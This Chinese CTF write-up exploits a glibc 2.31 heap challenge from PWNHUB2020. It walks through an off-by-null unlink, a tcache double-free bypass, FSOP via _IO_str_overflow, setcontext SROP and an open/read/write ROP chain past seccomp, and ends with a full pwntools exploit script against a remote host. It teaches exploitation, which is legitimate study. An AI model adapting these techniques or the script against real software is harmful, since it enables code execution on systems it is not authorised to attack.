本文最后更新于 2021-05-15，文中内容可能已过时。
みんな、良いお年を
又是新的一年，今年一定要更加努力哦！也希望正在看我的博客的各位越来越好，成为AK全场的大师傅！
感谢cnitlrt师傅这段时间以来对我的照顾！让我学到了很多很多！
题目背景
来自PWNHUB2020内部赛的一道题目，经过朋友的邀请我加群想看看题目。
结果没想到，开局就是给我当头一棒。
这道题目，应该是放出来了将近一天，任然没有人拿到一血，所以主办方放出了一些提示。
但是，在libc-2.31下的题目我可是一次都没有做过啊，对于更新的检查啥的我也是从来没有了解过。经过这道题目，我对libc-2.31有了一个浅显的认识。
题目出的非常好，结合的知识点相当全面，使我受益匪浅。
题目一览 给出的hint很有限，但是起码知道了一个入手点。接下来我们来看看具体的代码。
先来看看开头的那个函数干了什么。这里似乎用到了一些花指令的东西，我们尝试在他下面用p键建立IDA未能自动识别的函数。
在这个函数内，我们可以看到：
使用ptctl开启了沙箱保护，这里我们用seccomp-tools进行检测。
通过检测后的代码可以很清楚的看到，几乎程序禁用了大部分可以执行shell的函数（间接调用），所以这道题我们需要考虑用orw（open，read，write）来读写flag。
接下来就要开始阅读程序功能
这是整体的代码逻辑，程序有两个主功能：
add函数中对malloc的size做了限制，不能够大于0x200。
这也就遏制了我们利用largebin attack的一些念想。
程序主功能只有两个，但是通过free_hook，程序还加入了另外两个功能：
没错，程序通过free_hook引入了两个功能，edit_heap和show_heap，但是这也意味着，在使用这两个功能之后就必须free掉这个chunk。
而在edit_heap函数中，就存在很明显的off by null
但是在这里读取size的形式和以前不太一样，他是根据堆块的位置去寻找堆块前的size位，然后根据size位的内容进行读写（-9 的原因是，prev_inuse = 1，堆块对齐 = 8），读写的过程中存在off by null。
show函数通过puts来输出堆块内容：
利用过程
这次的利用思路采取自然联想的方法，从一个入手点出发，逐个解决会遇到的问题，与做题的真实情况较为贴切。
1.如何构造才能利用 off by null
我们肯定要先想办法利用off by null来构成一个UAF才能进行下一步的利用。
但是在libc2.31上的话，off by null是比较难利用的，我们一般利用off by null来构造重叠堆块（house_of_einherjar ）来进行UAF，但是在libc2.29的时候，unlink的时候对size位进行了检测，使得使用这种方法会报错。
对于glibc-2.29新加入的检测可以看这篇文章（ http://blog.eonew.cn/archives/1167#chunk_extend ）
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/* consolidate backward */
if ( ! prev_inuse ( p )) {
prevsize = prev_size ( p );
size += prevsize ;
p = chunk_at_offset ( p , - (( long ) prevsize ));
if ( __glibc_unlikely ( chunksize ( p ) != prevsize ))
malloc_printerr ( "corrupted size vs. prev_size while consolidating" );
unlink_chunk ( av , p );
}
通过这样的检测，使得我们无法使用一般的方法进行构造堆重叠，所以在这次更新后，off by null的利用只有唯一的方法——伪造FD和BK。
早在前段日子，我们就学习过如何构造FD和BK来控制bss段上的heap_ptr数组，而这里也是类似于那里的绕过方法。
我们需要知道当前堆栈的指针，然后伪造才能当前堆块的FD和BK指向当前堆块。
这样的利用方法，类似于：http://blog.eonew.cn/archives/1233 这道题，大家有兴趣的可以学习一下。
2.怎么才能泄露堆地址
这可能是这道题中最简单的一个部分，泄露堆地址。
由于libc版本高于libc-2.27，所以程序应该默认开启了tcache机制，我们知道tcache类似于fastbin，当堆块被free状态下时，会利用fd位置作为指向下一个堆块位置。
所以我们这里就可以利用这个机制，当我们申请回这个堆块的时候，这块位置的内容不会被清空，所以我们直接输出这里的内容，就可以轻松获得在堆上的一个指针，通过偏移计算出heapbase。
这里我们由于在申请堆块的时候，必须要写入一个字符，所以我这里写入的 ‘a’ 会覆盖掉部分的指针内容，不过这并不影响我们计算偏移值。
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# leak heapbase by tcache
add ( 0x18 ) # 0
add ( 0x18 ) # 1
free ( 0 )
free ( 1 )
add ( 0x18 ) # 0
free ( 0 )
r . recvuntil ( 'Info:' )
heap_base = u64 ( r . recvuntil ( ' \n ' , drop = True )[ - 6 :] . ljust ( 8 , ' \x00 ' )) - 0x261
log . success ( "heap_base: " + hex ( heap_base ))
3.具体怎么来伪造FD和BK，需要伪造哪些内容
首先我们要找到一个位置，这个位置可以指向堆块的头部。
我们首先需要绕过这个检测
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if ( __builtin_expect ( FD -> bk != P || BK -> fd != P , 0 ))
malloc_printerr ( check_action , "corrupted double-linked list" , P , AV );
我们可以构造 FD = ptr - 0x18, BK = ptr - 0x10，*ptr = fake_chunk_ptr，从而绕过检测。
如果这里没搞懂的，可以看一下我之前写的unlink的文章。
其次我们需要伪造最后一个堆块的prev_inuse和prev_size，这两个指针的内容。
PREV_INUSE我们可以通过off by null来复写0xF8 size的堆块，使其size位从
0x101 变成了 0x100。
其次就是伪造prev_size，来绕过这个新加入的检测机制。
这里需要注意的几点是：
1.由于edit之后会直接free掉，所以我们这里用于off by null的那个chunk，一定不能复写prev_size的内容（如果是进入unsorted bin就会复写）。所以我们这里要让off by null的chunk进入tcache中，这样就不会复写那部分的内容。
2.当我们free最上面的那个堆块的时候（现在看来好像不是必要的，应该是那个时候脑抽了）。
不能覆盖掉伪造的size位，而glibc-2.29以上的tcache中有一个key位，这个位的写入会覆盖掉我们伪造的size位，从而导致报错。所以我们这里只能让他写入next的位置，也就是让这个堆块进入到fastbin中（把tcache填满）。
3.当我们要申请0x68 size的堆块的时候，会优先去tcache中申请，但是在这之前tcache都被我们填满了内容，所以我们要把tcache的数据全部都拿出来。这样在下一次申请的时候才能够从unsorted bin中分割。
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typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;
unlink利用代码：
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# unlink
chunk_addr = heap_base + 0x2e0
FD = chunk_addr + 0x20 - 0x18
BK = chunk_addr + 0x20 - 0x10
add ( 0x68 , 'a' * 8 + p64 ( 0x101 ) + p64 ( FD ) + p64 ( BK ) + p64 ( chunk_addr )) # 0
add ( 0x68 , 'target' ) # 1 overlapping
add ( 0x28 ) # 2
add ( 0xF8 ) # 3
add ( 0x28 ) # 4
fill ( 0x68 , 5 )
fill ( 0xF8 , 5 )
edit ( 2 , 'a' * 0x20 + p64 ( 0x70 + 0x70 + 0x30 - 0x10 )) # insert to tcache
free ( 0 ) # insert to fastbin
free ( 3 ) # insert to unsortedbin => unlink
add ( 0x58 , 'a' * 8 ) # 0
for i in range ( 0x8 ):
add ( 0x68 ) # 2, 3, 5, 6, 7, 8, 9, 10
add ( 0x68 ) # 11 overlapping with 1
add ( 0x128 ) # 12
4.堆块重叠后怎么来任意写
我这里首先考虑到的就是相对方便的tcache，我们可以利用tcache double free，由于新版本加入了key的检测，我们直接利用野指针来进行double free的方法以及失效（不过这道题也没有）。
检测就是，如果当前key的内容将要释放的tcache的指针内容对应，那么会对tcache列表进行一个遍历来判断有没有double free。
所以有了这样的检测，我们在fastbin attack中常用的a->b->a方法也无法绕过。
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if ( __glibc_unlikely ( e -> key == tcache ))
{
tcache_entry * tmp ;
LIBC_PROBE ( memory_tcache_double_free , 2 , e , tc_idx );
for ( tmp = tcache -> entries [ tc_idx ]; tmp ; tmp = tmp -> next )
if ( tmp == e )
malloc_printerr ( "free(): double free detected in tcache 2" );
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
我自己想到了两种绕过方法
1.修改size位让tcache free进入不同的位置
2.利用UAF来清空key的内容。
我们这里就利用第二种方法。通过overlapping chunk来清空key的内容，从而构成double free。
绕过了检测后，我们就要考虑怎么样才能任意写，一种方法是直接修改tcache的next内容来劫持到想要写的地方，由于tcache没有size检测，这会变的非常的容易，但是这种方法的弊端就是，我们一次off by one之后只能任意写一次。
而且这里由于开启了沙箱保护，我们一次写入的肯定不够，所以我们选择另外一种简单又方便的方法：劫持tcache struct 的内容。
劫持这部分内容，可以修改其中的数据，达到任意分配的目的。这一部分的细节我不再展开，有兴趣的可以看我之前写过的tcache利用。
这部分的坑点：
1.修改tcache struct的时候会遇到一个新的检测：
当malloc的时候会检测tcache的counts是否大于0，只有大于0才会从tcache中取出，所以如果我们修改结构到一个counts为0的index上，那么是申请不出来的，不过也不会报错。
具体的代码我还没有找到，先留个坑，有知道的师傅可以评论区留言一下。
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# bypass tcache counts check
add ( 0x68 ) # 0
free ( 0 )
# tcache double free
free ( 1 )
edit ( 11 , p64 ( 0 ) * 2 ) # bypass tcache check
# uaf & tcache attack tcache struct
add ( 0x68 , p64 ( heap_base + 0xb0 )) # 0
add ( 0x68 , p64 ( heap_base + 0xb0 )) # 1
add ( 0x68 , p64 ( malloc_hook_addr ) + p64 ( 0 ) * 9 + p64 ( stdout_addr )) # 11
5.如何泄露libc
这部分也比较容易，我们可以利用unsorted bin leak来达到目的，这里就不做过多的讲解了。
这里我计算出了很多变量的数据，这部分数据在接下来的利用过程中我会做介绍。
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# unsorted bin leak libc
free ( 0 )
malloc_hook_addr = u64 ( r . recvuntil ( '\x7f' )[ - 6 : ]. ljust ( 8 , '\x00' )) - 592 - 0x10
log . success ( "malloc_hook_addr: " + hex ( malloc_hook_addr ))
libc = LibcSearcher ( ' __malloc_hook ' , malloc_hook_addr )
libc_base = malloc_hook_addr - libc . dump ( ' __malloc_hook ' )
log . success ( "libc_base: " + hex ( libc_base ))
setcontext_addr = libc_base + libc . dump ( ' setcontext ' )
log . success ( "setcontext_addr: " + hex ( setcontext_addr ))
stdout_addr = libc_base + libc . dump ( ' _IO_2_1_stderr_ ' )
log . success ( "stdout_addr: " + hex ( stdout_addr ))
pop_rax_addr = libc_base + 0x4a550
pop_rdi_addr = libc_base + 0x26b72
pop_rsi_addr = libc_base + 0x27529
pop_rdx_rbx_addr = libc_base + 0x162866
syscall_addr = libc_base + 0x66229
6.如何构造才能ORW
这一步是我在这之前从未接触过的，这一部分的内容非常巧妙，希望各位仔细品读，cnitlrt师傅的文章：https://www.anquanke.com/post/id/216290#h3-2
我们可以利用setcontext函数来做SROP，从而把堆上的利用转化为ROP链的设计。
但是我们知道，调用setcontext函数需要传入一定的参数。
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int setcontext ( const ucontext_t * ucp );
所以我们遇到的一个问题是，如何才能传参数，一般都会想到的是__free_hook吧，但是好巧不巧的是，这道题的__free_hook被用于去做edit和show这两件事情了，我们就算写入了也不会被执行，所以这里只能利用__malloc_hook来劫持，但是如何才能通过__malloc_hook传递我们想要的参数呢？
如果这道题对size没有限制，那么我们设置的size大小就会成为参数，可惜这道题限制了size大小不能超过0x200，所以我们不能简单的利用malloc进行传参。
这里可以考虑到一个函数，_IO_str_overflow，我们修改vtable指向这个函数（由于glibc2.27以上就对vtable的范围做了检测，所以这里我们不能简单的修改vtable到堆上的某个位置）。
然后我们可以利用FSOP，在程序退出执行_IO_flush_all_lockp的时候，使得程序去执行_IO_str_overflow函数。
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int
_IO_str_overflow ( FILE * fp , int c )
{
int flush_only = c == EOF ;
size_t pos ;
if ( fp -> _flags & _IO_NO_WRITES )
return flush_only ? 0 : EOF ;
if (( fp -> _flags & _IO_TIED_PUT_GET ) && ! ( fp -> _flags & _IO_CURRENTLY_PUTTING ))
{
fp -> _flags |= _IO_CURRENTLY_PUTTING ;
fp -> _IO_write_ptr = fp -> _IO_read_ptr ;
fp -> _IO_read_ptr = fp -> _IO_read_end ;
}
pos = fp -> _IO_write_ptr - fp -> _IO_write_base ;
if ( pos >= ( size_t ) ( _IO_blen ( fp ) + flush_only ))
{
if ( fp -> _flags & _IO_USER_BUF ) /* not allowed to enlarge */
return EOF ;
else
{
char * new_buf ;
char * old_buf = fp -> _IO_buf_base ;
size_t old_blen = _IO_blen ( fp );
size_t new_size = 2 * old_blen + 100 ;
if ( new_size < old_blen )
return EOF ;
new_buf = malloc ( new_size );
if ( new_buf == NULL )
{
/* __ferror(fp) = 1; */
return EOF ;
}
if ( old_buf )
{
memcpy ( new_buf , old_buf , old_blen );
free ( old_buf );
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp -> _IO_buf_base = NULL ;
}
memset ( new_buf + old_blen , '\0' , new_size - old_blen );
_IO_setb ( fp , new_buf , new_buf + new_size , 1 );
fp -> _IO_read_base = new_buf + ( fp -> _IO_read_base - old_buf );
fp -> _IO_read_ptr = new_buf + ( fp -> _IO_read_ptr - old_buf );
fp -> _IO_read_end = new_buf + ( fp -> _IO_read_end - old_buf );
fp -> _IO_write_ptr = new_buf + ( fp -> _IO_write_ptr - old_buf );
fp -> _IO_write_base = new_buf ;
fp -> _IO_write_end = fp -> _IO_buf_end ;
}
}
if ( ! flush_only )
* fp -> _IO_write_ptr ++ = ( unsigned char ) c ;
if ( fp -> _IO_write_ptr > fp -> _IO_read_end )
fp -> _IO_read_end = fp -> _IO_write_ptr ;
return c ;
}
这部分的构造方法，我在之前已经提及：https://blog.wjhwjhn.com/archives/138/
如果有不懂的，可以去了解一下如何构造进行传参。
7.怎么出错了？
没错，第六步的传参思路是有问题的，让我们来回到setcontext。
我们可以发现在之前的版本中setcontext的代码是这样的：
http://blog.eonew.cn/archives/993
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<setcontext>: push rdi
<setcontext+1>: lea rsi,[rdi+0x128]
<setcontext+8>: xor edx,edx
<setcontext+10>: mov edi,0x2
<setcontext+15>: mov r10d,0x8
<setcontext+21>: mov eax,0xe
<setcontext+26>: syscall
<setcontext+28>: pop rdi
<setcontext+29>: cmp rax,0xfffffffffffff001
<setcontext+35>: jae 0x7ffff7a7d520 <setcontext+128>
<setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>: fldenv [rcx]
<setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret
<setcontext+128>: mov rcx,QWORD PTR [rip+0x356951] # 0x7ffff7dd3e78
<setcontext+135>: neg eax
<setcontext+137>: mov DWORD PTR fs:[rcx],eax
<setcontext+140>: or rax,0xffffffffffffffff
<setcontext+144>: ret
由于我们不能够执行，fldenv [rcx]这一行代码，我们通常都是设置__malloc_hook到setcontext+53这个位置的，然后利用第一个参数正好是rdi来进行利用。
没想到的是，在glibc2.29版本，这部分内容发生了改动，变成了以下这个样子。
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.text:0000000000055E00 public setcontext ; weak
.text:0000000000055E00 setcontext proc near ; CODE XREF: .text:000000000005C16C↓p
.text:0000000000055E00 ; DATA XREF: LOAD:000000000000C6D8↑o
.text:0000000000055E00 push rdi
.text:0000000000055E01 lea rsi, [rdi+128h]
.text:0000000000055E08 xor edx, edx
.text:0000000000055E0A mov edi, 2
.text:0000000000055E0F mov r10d, 8
.text:0000000000055E15 mov eax, 0Eh
.text:0000000000055E1A syscall ; $!
.text:0000000000055E1C pop rdx
.text:0000000000055E1D cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23 jnb short loc_55E80
.text:0000000000055E25 mov rcx, [rdx+0E0h]
.text:0000000000055E2C fldenv byte ptr [rcx]
.text:0000000000055E2E ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35 mov rsp, [rdx+0A0h]
.text:0000000000055E3C mov rbx, [rdx+80h]
.text:0000000000055E43 mov rbp, [rdx+78h]
.text:0000000000055E47 mov r12, [rdx+48h]
.text:0000000000055E4B mov r13, [rdx+50h]
.text:0000000000055E4F mov r14, [rdx+58h]
.text:0000000000055E53 mov r15, [rdx+60h]
.text:0000000000055E57 mov rcx, [rdx+0A8h]
.text:0000000000055E5E push rcx
.text:0000000000055E5F mov rsi, [rdx+70h]
.text:0000000000055E63 mov rdi, [rdx+68h]
.text:0000000000055E67 mov rcx, [rdx+98h]
.text:0000000000055E6E mov r8, [rdx+28h]
.text:0000000000055E72 mov r9, [rdx+30h]
.text:0000000000055E76 mov rdx, [rdx+88h]
.text:0000000000055E7D xor eax, eax
.text:0000000000055E7F retn
没错，之前的这些数据内容，都从rdi转到了rdx，这让我们的利用难度提升了。
因为rdx是x64传入第三个参数的时候才会用到的，我们这里肯定没有可以劫持的地方可以用于传入三个参数。
不过，多调试肯定不会吃亏，在调试的过程中，我在_IO_str_overflow函数中发现了一个大宝贝。
没错，在执行_IO_str_overflow的时候会把rdx赋值为一个值，而这个值正是指向我们可控的stderr位置。（我这里FSOP利用的是stderr这个fp指针）
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0x0 _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable
我们通过上面的表格来找一找0x28位置对应的内容，发现正好对应的是_IO_write_ptr指针，这个指针在之前的构造中我们是改为0xffffffffffffffff，来使得在if判断的时候一定能够成功，而这里我们构造成我们可控的堆块地址，这样的话其实也是一个比较大的数（如果开启了PIE），那么也可以当做一个有效的构造，更重要的是，我们可以利用这个来传参到setcontext。
所以我们只要构造成如下图所示，那么我们就可以传参到setcontext了。
图中_IO_write_ptr指针位置为可控的堆块。
满足了这些条件后，我们再用fsop来看看是否可以执行。
题外话
以上方法构造较为巧妙，如果不使用rdx残余信息或者不通过操作IO_FILE（比如__free_hook可以利用的情况下）那该怎么办呢？
我们可以考虑使用ropper在libc中搜索到一个gadget，该gadget形式一般如下。
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ropper -f "./libc-2.31.so" --search "mov rdx"
通过类似这样的gaget，来把rdi的参数传递到rdx上，然后根据gadget再构造堆块信息。
在libc-2.31下gadget的形式一般是：
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mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
在libc-2.29下gadget的形式一般是：
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mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
libc-2.27及以下，参数直接是rdi，所以不需要gadget。
找到了一张描述该过程的图片，可以根据图片上的内容来更为形象的理解：
图片来源：https://bbs.pediy.com/thread-263640.htm
8.ORW的ROP链设计
完成了以上步骤后，我们才可以成功的执行setcontext来构造SROP，这个利用链大概是这样的。
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exit -> _IO_all_flush_lockp -> _IO_str_overflow -> malloc -> __malloc_hook -> setcontext -> SROP -> orw
接下来我们就可以利用setcontext来控制到程序的rsi，下一步我们只需要构造ROP链即可。
要构造出ROP链，我们首先就要需要几个能够控制寄存器的gadget。
我们这里利用ROPgadget和ropper 一起来找ROP，
我是通过ROPgadget 来找到了以下ROP
pop rax ; ret
通过命令：
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ROPgadget --binary=libc-2.31.so | grep "pop rax"
找到了这一行
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0x000000000004a550 : pop rax ; ret
pop rdi ; ret
通过命令：
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ROPgadget --binary=libc-2.31.so | grep "pop rdi"
找到了这一行
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0x0000000000026b72 : pop rdi ; ret
pop rsi ; ret
通过命令：
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ROPgadget --binary=libc-2.31.so | grep "pop rsi"
找到了这一行
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0x0000000000027529 : pop rsi ; ret
pop rdx ; ret
这个命令我没有找到较为合适的，但是后来经过思考，发现似乎并不需要，在RW过程中，我们第三个参数都是size，我们只要在setcontext的时候直接设置rdx为0x100，接下来就不需要对他进行修改，一直保留着这个内容
syscall ; ret
这个命令我在ROPgadget 没有找到合适的，后来问了一下师傅，听说可以用ropper 找到，那我就尝试了一下。如果有更好的方法欢迎各位指出！
我是用ropper的asm功能实现的：
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ropper --asm "syscall;ret"
先得到这个指令的汇编指令内容：0f05c3
然后通过ropper的opcode搜索功能进行搜索
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ropper --file libc-2.31.so --opcode 0f05c3
得到：
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0x0000000000066229: 0f05c3;
注意，我们这里搜索的gadget都是在libc中的，因为我们有libc的基址所以可以这样利用。但是这道题有个恶心的地方就在于他没有给libc，所以我们得到的这些偏移应该要和服务器libc的偏移一致，我这里运气比较好，本地打通了，服务器也正好打通了。
找到了以上的gadget后，我们就可以构造ROP链了。
这里需要记住的几个知识点：
1.syscall，通过rax来传递调用号
2.setcontext是不能够设置rax的值，因为在结尾处做了xor eax,eax。其实这个就是优化版的mov eax,0。
3.open的调用号是2，read的调用号是0，write的调用号是1
4.要给伪造后的rsp的上部预留一些空间（在setcontext中至少预留要0x8），尽量不要在这之上填写有用的信息，比如我刚开始的时候把“flag”字符串放在这个位置，结果在执行的时候就被覆盖掉了。
其他细节就看代码吧！
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# SROP
fake_frame_addr = heap_base + 0xfa0
frame = SigreturnFrame ()
frame . rax = 2
frame . rdi = fake_frame_addr + 0xF8
frame . rsi = 0
frame . rdx = 0x100
frame . rsp = fake_frame_addr + 0xF8 + 0x10
frame . rip = libc_base + 0x25679 # ret
rop_data = [
pop_rax_addr , # sys_open('flag', 0)
2 ,
syscall_addr ,
pop_rax_addr , # sys_read(flag_fd, heap, 0x100)
0 ,
pop_rdi_addr ,
3 ,
pop_rsi_addr ,
fake_frame_addr + 0x200 ,
syscall_addr ,
pop_rax_addr , # sys_write(1, heap, 0x100)
1 ,
pop_rdi_addr ,
1 ,
pop_rsi_addr ,
fake_frame_addr + 0x200 ,
syscall_addr
]
payload = str ( frame ) . ljust ( 0xF8 , ' \x00 ' ) + "flag \x00\x00\x00\x00 " + p64 ( 0 ) + flat ( rop_data )
add ( 0x200 , payload ) # fake_frame
9.成功啦！ 在程序的执行的最后，我们终于成功得到了flag。
总结
最后一步可以说是这也是我研究了十多个小时（睡觉都没睡好）最终得到的一些认可吧，我觉得题目出的相当的好，结合了绝大多数我会的和我不会的知识点，让我受益匪浅。
当然，只有我自己一定肯定不能够成功，这里还是要多谢cnitlrt师傅对我的帮助。
PS：我没有参加比赛，我也没有提交flag，研究此题的目的就是学习
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from pwn import *
from LibcSearcher import *
# r = process('./pwn')
r = remote ( '139.217.102.146' , 65386 )
context . log_level = "debug"
context . arch = "amd64"
def choice ( idx ):
r . sendlineafter ( "choice:" , str ( idx ))
def add ( size , content = 'a' ):
choice ( 1 )
r . sendlineafter ( "Size of info:" , str ( size ))
r . sendafter ( "Info:" , content )
def edit ( idx , content ):
choice ( 2 )
r . sendlineafter ( "index:" , str ( idx ))
choice ( 1 )
r . sendafter ( "Info:" , content )
def show ( idx ):
choice ( 2 )
r . sendlineafter ( "index:" , str ( idx ))
choice ( 2 )
def free ( idx ):
show ( idx )
def fill ( size , idx ):
for i in range ( 0x7 ):
add ( size )
for i in range ( 0x7 ):
free ( idx + i )
# leak heapbase by tcache
add ( 0x18 ) # 0
add ( 0x18 ) # 1
free ( 0 )
free ( 1 )
add ( 0x18 ) # 0
free ( 0 )
r . recvuntil ( 'Info:' )
heap_base = u64 ( r . recvuntil ( ' \n ' , drop = True )[ - 6 :] . ljust ( 8 , ' \x00 ' )) - 0x261
log . success ( "heap_base: " + hex ( heap_base ))
# unlink
chunk_addr = heap_base + 0x2e0
FD = chunk_addr + 0x20 - 0x18
BK = chunk_addr + 0x20 - 0x10
add ( 0x68 , 'a' * 8 + p64 ( 0x101 ) + p64 ( FD ) + p64 ( BK ) + p64 ( chunk_addr )) # 0
add ( 0x68 , 'target' ) # 1 overlapping
add ( 0x28 ) # 2
add ( 0xF8 ) # 3
add ( 0x28 ) # 4
fill ( 0x68 , 5 )
fill ( 0xF8 , 5 )
edit ( 2 , 'a' * 0x20 + p64 ( 0x70 + 0x70 + 0x30 - 0x10 )) # insert to tcache
free ( 0 ) # insert to fastbin
free ( 3 ) # insert to unsortedbin => unlink
add ( 0x58 , 'a' * 8 ) # 0
for i in range ( 0x8 ):
add ( 0x68 ) # 2, 3, 5, 6, 7, 8, 9, 10
add ( 0x68 ) # 11 overlapping with 1
add ( 0x128 ) # 12
# unsorted bin leak libc
free ( 0 )
malloc_hook_addr = u64 ( r . recvuntil ( ' \x7f ' )[ - 6 :] . ljust ( 8 , ' \x00 ' )) - 592 - 0x10
log . success ( "malloc_hook_addr: " + hex ( malloc_hook_addr ))
libc = LibcSearcher ( '__malloc_hook' , malloc_hook_addr )
libc_base = malloc_hook_addr - libc . dump ( '__malloc_hook' )
log . success ( "libc_base: " + hex ( libc_base ))
setcontext_addr = libc_base + libc . dump ( 'setcontext' )
log . success ( "setcontext_addr: " + hex ( setcontext_addr ))
stdout_addr = libc_base + libc . dump ( '_IO_2_1_stderr_' )
log . success ( "stdout_addr: " + hex ( stdout_addr ))
pop_rax_addr = libc_base + 0x4a550
pop_rdi_addr = libc_base + 0x26b72
pop_rsi_addr = libc_base + 0x27529
pop_rdx_rbx_addr = libc_base + 0x162866
syscall_addr = libc_base + 0x66229
# bypass tcache counts check
add ( 0x68 ) # 0
free ( 0 )
# tcache double free
free ( 1 )
edit ( 11 , p64 ( 0 ) * 2 ) # bypass tcache check
# uaf & tcache attack tcache struct
add ( 0x68 , p64 ( heap_base + 0xb0 )) # 0
add ( 0x68 , p64 ( heap_base + 0xb0 )) # 1
add ( 0x68 , p64 ( malloc_hook_addr ) + p64 ( 0 ) * 9 + p64 ( stdout_addr )) # 11
# SROP
fake_frame_addr = heap_base + 0xfa0
frame = SigreturnFrame ()
frame . rax = 2
frame . rdi = fake_frame_addr + 0xF8
frame . rsi = 0
frame . rdx = 0x100
frame . rsp = fake_frame_addr + 0xF8 + 0x10
frame . rip = libc_base + 0x25679 # : ret
rop_data = [
pop_rax_addr , # sys_open('flag', 0)
2 ,
syscall_addr ,
pop_rax_addr , # sys_read(flag_fd, heap, 0x100)
0 ,
pop_rdi_addr ,
3 ,
pop_rsi_addr ,
fake_frame_addr + 0x200 ,
syscall_addr ,
pop_rax_addr , # sys_write(1, heap, 0x100)
1 ,
pop_rdi_addr ,
1 ,
pop_rsi_addr ,
fake_frame_addr + 0x200 ,
syscall_addr
]
payload = str ( frame ) . ljust ( 0xF8 , ' \x00 ' ) + "flag \x00\x00\x00\x00 " + p64 ( 0 ) + flat ( rop_data )
add ( 0x200 , payload ) # fake_frame
# hijack IO_FILE(stderr)
stderr_payload = p64 ( 0 ) + p64 ( 0 ) * 4 + p64 ( fake_frame_addr ) + p64 ( 0 ) + p64 ( 0 ) + p64 ( 0 )
stderr_payload = stderr_payload . ljust ( 0xD8 , ' \x00 ' ) + p64 ( libc_base + 0x1ed560 ) # _IO_str_jumps
add ( 0xF8 , stderr_payload )
# hijack __malloc_hook
add ( 0x58 , p64 ( setcontext_addr + 61 ))
# exit -> _IO_all_flush_lockp -> _IO_str_overflow -> malloc -> __malloc_hook -> setcontext -> SROP -> orw
choice ( 3 )
r . interactive ()
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